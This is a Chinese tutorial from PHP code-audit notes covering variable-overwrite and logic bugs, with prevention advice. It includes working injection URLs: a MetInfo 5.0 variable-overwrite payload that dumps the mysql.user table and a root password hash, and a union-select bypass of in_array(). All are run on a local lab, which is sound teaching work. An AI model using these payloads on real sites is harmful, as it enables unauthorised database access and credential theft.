- [1. 变量覆盖漏洞](#1-变量覆盖漏洞) - [1.1. 变量覆盖漏洞挖掘经验](#11-变量覆盖漏洞挖掘经验) - [1.1.1. extract()函数](#111-extract函数) - [1.1.2. parse\_str()函数](#112-parse_str函数) - [1.1.3. import\_request\_variables函数](#113-import_request_variables函数) - [1.1.4. $$变量覆盖](#114-变量覆盖) - [1.2. Metinfo变量覆盖漏洞分析](#12-metinfo变量覆盖漏洞分析) - [1.3. 变量覆盖漏洞防范](#13-变量覆盖漏洞防范) - [2. 逻辑处理漏洞](#2-逻辑处理漏洞) - [2.1. 挖掘经验](#21-挖掘经验) - [2.1.1. 等于与存在判断绕过](#211-等于与存在判断绕过) - [2.1.2. 账户体系中的越权漏洞](#212-账户体系中的越权漏洞) - [2.1.3. 未exit或return引发的安全问题](#213-未exit或return引发的安全问题) - [2.1.4. 常见支付漏洞](#214-常见支付漏洞) - [2.2. Ecshop逻辑错误注入](#22-ecshop逻辑错误注入) - [3. 会话认证漏洞](#3-会话认证漏洞) - [3.0.1. 会话认证漏洞挖掘经验](#301-会话认证漏洞挖掘经验) - [3.1. Espcms任意用户登录分析](#31-espcms任意用户登录分析) # 1. 变量覆盖漏洞 变量覆盖指的是可以用自定义的参数值替换程序原有的变量值。通常需要结合程序的其他功能来实现完整攻击比如一个文件上传页面,限制的文件扩展名白名单列表写在配置文件中变量中,但是变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表,那就可以添加一个PHP的扩展名,从而上传一个PHP的shell。 变量覆盖漏洞大多由函数使用不当导致经常引发变量覆盖漏洞的函数有: extract()函数和parse_str()函数,import_request_variables() 函数则是用在没有开启全局变量注册的时候,调用了这个函数则相当于开启了全局变量注册,在PHP 5.4之后这个函数已经被取消。 利用$$的方式注册变量,没验证已有变量导致覆盖是国内多套程序都犯过的一个问题,这些应用在使用外部传递进来的参数时不是用类似于 $_GET['key']这样原始的数组变量,而是把里面的key注册成了一个变量$key,注册过程中由于没有验证该变量是否已经存在就直接赋值,所以导致已有的变量值会被覆盖掉。 ## 1.1. 变量覆盖漏洞挖掘经验 不仅仅要考虑的是能够实现变量覆盖还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。 ### 1.1.1. [extract()](https://www.php.net/manual/zh/function.extract.php)函数 int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]]) 第二个参数extract_type的取值: - EXTR_OVERWRITE:默认,如果有冲突,则覆盖已有的变量 - EXTR_SKIP:如果有冲突,不覆盖已有的变量; - EXTR_PREFIX_SAME:如果有冲突,在变量名前加上前缀prefix - EXTR_PREFIX_ALL:给所有的变量名前加上前缀prefix - EXTR__PREFIX_INVALID:仅在非法或数字变量名前加上前缀prefix。 - EXTR_IF_EXISTS:仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不处理。 - EXTR_PREFIX_IF_EXISTS:仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其他的都不处理。 - EXTF_REFS:将变量作为引用提取。导入的变量仍然引用了var_array参数的值。可以单独使用这个标志,或者在extract_type中用OR与其他任何标志结合使用。 符号表是指当前php页面中,所有变量名称的集合可以使用函数get_defined_vars直接获得当前所有已定义变量列表的多维数组如:print_r(get_defined_vars()); 第一个参数var_array是必须的,会不会导致变量覆盖漏洞由第二个参数决定。该函数有三种情况会覆盖掉已有变量: - 第一种是第二个参数为EXTR_ OVERWRITE,它表示如果有冲突,则覆盖已有的变量; - 第二种情况是只传入第一个参数,这时候默认为EXTR_OVERWRITE模式; - 第三种则是第二个参数为EXTR_IF_ EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。 ```php "; $b = 3; $a = array("b" => "2","k" => "1"); extract($a); print_r($b); echo '
'; print_r($a); ?> ``` ``` http://localhost/2020CodeAudit/C6/6-1-1-1-extract-4.php ``` 结果: ``` extract()函数使用举例: 2 Array ( [b] => 2 [k] => 1 ) ``` 变量$b被覆盖了。 ### 1.1.2. [parse_str()](https://www.php.net/manual/zh/function.parse-str.php)函数 解析字符串并且注册成变量它在注册变量。之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有变量。 语法结构:void parse_str ( string $str [, array &$arr ]) 第二个参数$arr是一个数组,注册的变量会放到这个数组里面,但是如这个数组原来就存在相同的键 (key),则会覆盖掉原有的键值。 ```php "; $b = 1; parse_str('b=2'); print_r($b); ?> ``` ``` http://localhost/2020CodeAudit/C6/6-1-1-1-parse_str-2.php ``` 结果 ``` parse_str()函数使用举例: 2 ``` ### 1.1.3. [import_request_variables](https://www.php.net/manual/zh/function.mb-convert-variables.php)函数 把 GET、POST、COOKIE 的参数注册成变量。用在register_globals被禁止的时候,需要PHP 4.1至5.4之间的版本。不过建议不开启register_globals也不要使用。 该函数的说明如下:bool import_request_variables ( string $types [, string $prefix ]) - 其中$type代表要注册的变量,G代表GET, P代表POST, C代表COOKIE,所以当$type为GPC的时候,则会注册GET、POST、COOKIE参数为变量。 - 第二个参数$prefix为要注册的变量前缀。 ```php "; $b = 22; import_request_variables('GPC'); echo "\$a = $a"; echo '
'; echo "\$b = $b"; echo '
'; echo "\$c = $c"; ?> ``` ``` http://localhost/2020CodeAudit/C6/6-1-1-1-import_r_v.php?b=2 ``` 输出: ``` import_request_variables()函数使用举例: $a = $b = 2 $c = ``` ### 1.1.4. $$变量覆盖 ```php $_value){ echo $_key . '
'; $$_key = addslashes($_value); } } echo $a; ? ``` 解析:如果只通过GET提交a=1,无POST/COOKIE则$_REQUEST=_GET,$$_REQUEST==$_GET。 ``` http://localhost/2020CodeAudit/C6/6-1-1-2-cover-1.php?a=2 ``` 结果 ``` a 2 ``` ## 1.2. Metinfo变量覆盖漏洞分析 include/common.inc.php 文件中: ```php foreach(array('_COOKIE', '_POST', '_GET') as $_request) { // line 29 foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value); } } ``` 在这段代码之前的变量,都可以覆盖掉,包括数据库配置。 书上的SQL语句这个版本里没有。另外找了如下语句: ```php if($met_oline!=1){ // line 98 $query="select * from $met_app where site=1 and download=1"; $app_file = $db->get_all($query); foreach($app_file as $keyfile=>$valflie){ if(file_exists(ROOTPATH."$met_adminfile".$valflie['url'])){require_once ROOTPATH."$met_adminfile".$valflie['url'];} } } ``` 这里为了演示,修改一下源代码,用于显示SQL的执行结果,只是为了展示SQL的注入效果。 ```php if($met_oline!=1){ $query="select * from $met_app where site=1 and download=1"; echo "$query\n"; // 增加的代码 $app_file = $db->get_all($query); print_r($app_file); // 增加的代码 foreach($app_file as $keyfile=>$valflie){ if(file_exists(ROOTPATH."$met_adminfile".$valflie['url'])){require_once ROOTPATH."$met_adminfile".$valflie['url'];} } } ``` URL请求: ``` http://localhost/MetInfo5.0/include/common.inc.php?met_oline=2&met_app=mysql.user limit 1 %23 ``` 结果: ``` select * from mysql.user limit 1 # where site=1 and download=1 Array ( [0] => Array ( [Host] => localhost [User] => root [Select_priv] => Y [Insert_priv] => Y [Update_priv] => Y [Delete_priv] => Y [Create_priv] => Y [Drop_priv] => Y [Reload_priv] => Y [Shutdown_priv] => Y [Process_priv] => Y [File_priv] => Y [Grant_priv] => Y [References_priv] => Y [Index_priv] => Y [Alter_priv] => Y [Show_db_priv] => Y [Super_priv] => Y [Create_tmp_table_priv] => Y [Lock_tables_priv] => Y [Execute_priv] => Y [Repl_slave_priv] => Y [Repl_client_priv] => Y [Create_view_priv] => Y [Show_view_priv] => Y [Create_routine_priv] => Y [Alter_routine_priv] => Y [Create_user_priv] => Y [Event_priv] => Y [Trigger_priv] => Y [Create_tablespace_priv] => Y [ssl_type] => [ssl_cipher] => [x509_issuer] => [x509_subject] => [max_questions] => 0 [max_updates] => 0 [max_connections] => 0 [max_user_connections] => 0 [plugin] => mysql_native_password [authentication_string] => *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [password_expired] => N [password_last_changed] => 2019-05-06 13:47:14 [password_lifetime] => [account_locked] => N ) ) ``` ## 1.3. 变量覆盖漏洞防范 - 不进行变量注册,建议直接用原生的```$_GET```、```$_POST```等数组变量进行操作。 - 如果考虑程序可读性等原因,需要注册个别变量,可以直接在代码中定义变量,然后再把请求中的值赋值给它。如果一定要使用前面几种方式注册变量,可以在注册变量前先判断变量是否存在 - 如使用extract()函数则可以配置第二个参数为EXTR_ SKIP。使用parse_str()函数注册变量前需要先自行通过代码判断变量是否存在。 - 不建议使用import_request_variables()函数注册全局变量 # 2. 逻辑处理漏洞 指程序在业务逻辑上面的漏洞由于业务逻辑漏洞。大多都存在逻辑处理以及业务流程中,没有特别明显的关键字可以用来快速定位,通常这类漏洞的挖掘技巧是通读功能点源码,先熟悉这套程序的业务流程,后面挖掘起来就会比较顺畅。 值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用 户密码、cookie是否可预测或者说cookie验证是否可绕过等等。 ## 2.1. 挖掘经验 ### 2.1.1. 等于与存在判断绕过 绕过逻辑判断,从而实现攻击。 [in_array()](https://www.php.net/manual/zh/function.in-array.php)函数 用来判断一个值是否在某一个数组列表里面。如果是则返回true,否则返回false。通常的判断方式如下:in_array('b', array('a', 'b' , 'c'))这样是没有什么问题的。 过滤GET参数typeid在不在1,2,3,4这个数组里面,如果在则拼接到SQL语句里。 ```php "; //var_dump(in_array('b', array('a', 'b' , 'c'))); if(in_array($_GET['typeid'],array(1,2,3,4))){ $sql = "select * from users where typeid='" . $_GET['typeid'] ."'"; echo $sql; } ?> ``` in_array()函数存在一个问题:比较之前会自动做类型转换。 如果我们请求/1.php?typeid=l' union select 显示:select . . . where typeid='l' union select' ``` http://localhost/2020CodeAudit/C6/6-2-1-1-inarray.php?typeid=1' union select 1,2,3,4 %23 ``` 结果 ``` in_array()函数绕过举例: select * from users where typeid='1' union select 1,2,3,4 #' ``` 注意,字符串 1' union select 1,2,3,4 %23 经过类型转换后,是整形1;PHP的[intval](https://www.php.net/manual/zh/function.intval.php)的表现和大多语言不同! ``` intval($_GET['typeid']); // 转换后的结果是1 ``` [is_numeric()](https://www.php.net/manual/zh/function.is-numeric.php)函数 判断一个变量是否为数字,如果是则返回true,否则返回false ```php "; if(is_numeric($_GET['var'])){ $sql = "insert into tables(1,2) values('xx',{$_GET['var']})"; echo $sql; } ?> ``` 判断_GET中的var变量是否为数字,如果是,则执行SQL语句。 is_numeric()函数存在一个问题:当传入的参数为hex时则直接通过,并返回true。而MySQL是可以直接使用hex编码代替字符串明文的,存在二次注入和XSS等漏洞隐患。 ```